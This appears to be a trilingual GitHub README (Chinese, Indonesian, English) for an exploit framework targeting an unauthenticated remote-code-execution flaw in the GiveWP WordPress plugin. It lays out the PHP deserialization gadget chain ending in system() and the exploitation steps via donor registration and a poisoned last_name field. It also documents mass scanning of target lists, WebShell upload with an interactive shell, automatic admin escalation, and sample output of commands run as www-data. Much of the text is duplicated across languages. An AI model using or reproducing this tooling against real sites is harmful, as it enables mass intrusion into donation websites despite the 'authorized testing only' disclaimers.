CVE-2026-82222 - GiveWP 未授权 RCE 漏洞利用
批量扫描 + 自动检测 + 多线程 + 交互式 Shell
GHOSTLYR00T 是一个针对 CVE-2026-82222 的漏洞利用框架,该漏洞是 WordPress GiveWP 插件中的 PHP 对象注入漏洞,允许在无需身份验证的情况下实现远程代码执行(RCE)。该工具支持批量扫描、自动检测和交互式 Shell。
🔴 CVSS 9.8 - 严重
向量: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| 功能 | 描述 |
|---|---|
| 批量扫描 | 从文件扫描数百个目标(-f targets.txt) |
| 自动检测 | 自动检测表单 ID、支付网关和捐赠金额 |
| 多线程 | 可配置线程数的并行扫描(--threads) |
| 检测模式 | 无需利用的快速指纹识别(--check) |
| JSON 输出 | 将结果导出为 JSON(--json) |
| TXT 输出 | 将结果导出为简洁的 TXT(--txt) |
| 交互式 Shell | 上传 WebShell + 交互式终端 |
| 管理员提权 | 自动将用户提升为管理员 |
| 进度条 | 实时监控扫描过程 |
| 彩色输出 | 专业格式的彩色输出 |
| 功能 | 描述 |
|---|---|
| 批量扫描 | 从文件扫描数百个目标(-f targets.txt) |
| 自动检测 | 自动检测表单 ID、支付网关和捐赠金额 |
| 多线程 | 可配置线程数的并行扫描 |
| 检测模式 | 无需利用的快速指纹识别(--check) |
| JSON 输出 | 将结果导出为 JSON(--json) |
| TXT 输出 | 将结果导出为 TXT(--txt) |
| 交互式 Shell | 上传 WebShell + 交互式终端 |
| 管理员提权 | 自动将用户提升为管理员 |
| 进度条 | 实时扫描进度监控 |
| 彩色输出 | 专业的彩色终端输出 |
| 方面 | 详情 |
|---|---|
| 受影响版本 | GiveWP <= 4.16.7.1 |
| 已修复版本 | GiveWP >= 4.16.7.2 |
| 攻击向量 | 网络(AV:N) |
| 所需权限 | 无(PR:N) |
| 影响 | 系统完全沦陷 |
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
# 1. 克隆仓库 git clone https://github.com/GhostlyrootB2H/GHOSTLYR00T.git cd GHOSTLYR00T # 2. 安装依赖 pip install requests urllib3 # 3. 测试是否成功 python3 poc.py -h
# 1. 克隆仓库 git clone https://github.com/GhostlyrootB2H/GHOSTLYR00T.git cd GHOSTLYR00T # 2. 安装依赖 pip install requests urllib3 # 3. 测试是否成功 python3 poc.py -h
| 参数 | 功能 | 示例 |
|---|---|---|
-f, --file | 目标文件(批量模式) | -f targets.txt |
--threads | 线程数(默认:4) | --threads 10 |
--json | 将结果导出为 JSON | --json hasil.json |
--txt | 将结果导出为 TXT | --txt hasil.txt |
-c, --command | 要执行的命令 | -c "id" |
-g, --gateway | 强制指定支付网关 | -g stripe |
-a, --amount | 强制指定捐赠金额 | -a 25.00 |
-t, --triggers | 重试次数(默认:4) | -t 5 |
--timeout | 每次请求超时(默认:30 秒) | --timeout 60 |
--check | 仅指纹识别 | --check |
--upload-shell | 上传 WebShell | --upload-shell |
-i, --interactive | 交互式终端 | -i |
-v, --verbose | 详细输出 | -v |
--no-color | 禁用彩色输出 | --no-color |
| 参数 | 功能 | 示例 |
|---|---|---|
-f, --file | 目标文件(批量模式) | -f targets.txt |
--threads | 线程数(默认:4) | --threads 10 |
--json | 将结果导出为 JSON | --json results.json |
--txt | 将结果导出为 TXT | --txt results.txt |
-c, --command | 要执行的命令 | -c "id" |
-g, --gateway | 强制指定支付网关 | -g stripe |
-a, --amount | 强制指定捐赠金额 | -a 25.00 |
-t, --triggers | 重试次数(默认:4) | -t 5 |
--timeout | 请求超时(默认:30 秒) | --timeout 60 |
--check | 仅指纹识别 | --check |
--upload-shell | 上传 WebShell | --upload-shell |
-i, --interactive | 交互式终端 | -i |
-v, --verbose | 详细输出 | -v |
--no-color | 禁用彩色输出 | --no-color |
python3 poc.py https://target.com -c "id"
python3 poc.py -f targets.txt --check --txt hasil_check.txt
python3 poc.py -f targets.txt -c "id" --threads 5 --json hasil.json --txt hasil.txt
python3 poc.py https://target.com -c "id" --upload-shell -i
python3 poc.py https://target.com -c "id" -v
python3 poc.py https://target.com -c "id"
python3 poc.py -f targets.txt --check --txt check_results.txt
python3 poc.py -f targets.txt -c "id" --threads 5 --json results.json --txt results.txt
python3 poc.py https://target.com -c "id" --upload-shell -i
python3 poc.py https://target.com -c "id" -v
CVE-2026-82222 GiveWP <= 4.16.7.1 unauthenticated RCE | PoC v2.2
target : https://target.com
form id : auto-discover
command : id
+ GiveWP 4.15.4 detected (vulnerable).
+ User "a1788868506" registered.
+ Gadget stored in account meta.
+ Discovered 13 form(s).
+ Success! Form 37256 / gateway paypal / amount 1.00
+ Session poisoned (HTTP 500).
+--- command output --------------------------------------------
| uid=33(www-data) gid=33(www-data) groups=33(www-data)
+---------------------------------------------------------------
[+] SUCCESS. The target executed the command.
# GiveWP Vulnerability Scan Results (Fingerprint Mode) # Generated: 2026-09-09 12:00:00 # Total: 10 | Vulnerable: 4 | Exploited: 0 | Failed: 6 # # Format: TARGET | VERSION | STATUS # https://target1.com | 4.15.4 | VULNERABLE https://target2.com | 4.14.6 | VULNERABLE
{
"timestamp": 1694265600,
"mode": "exploit",
"total": 10,
"vulnerable": 4,
"exploited": 3,
"failed": 7,
"results": [
{
"target": "https://target1.com",
"status": "exploited",
"version": "4.15.4",
"command_output": "uid=33(www-data) gid=33(www-data)"
}
]
}
CVE-2026-82222 GiveWP <= 4.16.7.1 unauthenticated RCE | PoC v2.2
target : https://target.com
form id : auto-discover
command : id
+ GiveWP 4.15.4 detected (vulnerable).
+ User "a1788868506" registered.
+ Gadget stored in account meta.
+ Discovered 13 form(s).
+ Success! Form 37256 / gateway paypal / amount 1.00
+ Session poisoned (HTTP 500).
+--- command output --------------------------------------------
| uid=33(www-data) gid=33(www-data) groups=33(www-data)
+---------------------------------------------------------------
[+] SUCCESS. The target executed the command.
readme.txt 和 give.php 检测 GiveWP 版本give_action=user_register 创建捐赠者账户last_name 元数据中存储序列化的 PHP 对象give_last 的捐赠以触发反序列化# Gateway detection order
CANDIDATE_GATEWAYS = ['manual', 'offline', 'paypal', 'stripe', 'square',
'paypalexpress', 'authorize', 'razorpay', 'mollie']
Amount detection order
AMOUNT_TESTS = ['0.01', '1.00', '5.00', '10.00', '25.00', '50.00',
'100.00', '250.00', '500.00']
readme.txt and give.phpgive_action=user_registerlast_name metadatagive_last to trigger deserialization| Pertanyaan | Jawaban |
|---|---|
| Versi GiveWP apa yang rentan? | GiveWP <= 4.16.7.1. Versi 4.16.7.2 dan di atasnya sudah patched. |
Kenapa harus -a 25? | Beberapa form punya minimum amount (misal $25). Tools auto-detect, tapi bisa di-force. |
| Bisa digunakan di production? | TIDAK. Hanya untuk authorized testing. |
| Kenapa registrasi gagal (HTTP 200)? | Target mungkin registrasi dimatikan, WAF aktif, atau versi 4.16.6+. |
| Question | Answer |
|---|---|
| Which GiveWP versions are vulnerable? | GiveWP <= 4.16.7.1. Version 4.16.7.2 and above are patched. |
Why use -a 25? | Some forms have minimum amounts. Tool auto-detects, but can be forced. |
| Can this be used in production? | NO. For authorized testing only. |
| Why registration fails (HTTP 200)? | Target may have registration disabled, WAF active, or version 4.16.6+. |
TOOLS INI HANYA UNTUK PENELITIAN KEAMANAN!
⚠️ Ilegal: Mengakses server tanpa izin = tindak pidana
⚠️ UU ITE: Melanggar Pasal 30-32 tentang akses ilegal
⚠️ Hanya untuk: Pengujian sistem sendiri atau dengan izin tertulis
⚠️ Tanggung Jawab: Pengguna bertanggung jawab penuh atas penggunaan tools ini
GUNAKAN DENGAN BIJAK DAN BERTANGGUNG JAWAB!
THIS TOOL IS FOR SECURITY RESEARCH ONLY!
⚠️ Illegal: Accessing servers without permission = criminal offense
⚠️ Legal Risk: Violates computer fraud laws
⚠️ Authorized use only: Testing your own systems or with written permission
⚠️ Responsibility: Users are fully responsible for their use of this tool
USE WISELY AND RESPONSIBLY!
Copyright © 2026 GhostlyrootB2H
Didistribusikan di bawah lisensi MIT.
Copyright © 2026 GhostlyrootB2H
Distributed under the MIT License.
GhostlyrootB2H
🐙 GitHub: @GhostlyrootB2H
🇮🇩 Terima kasih telah menggunakan GHOSTLYR00T!
Tools ini untuk pembelajaran dan pengujian keamanan.
Jangan gunakan untuk aktivitas ilegal!
🇬🇧 Thank you for using GHOSTLYR00T!
For learning and security testing only.
Do not use for illegal activities!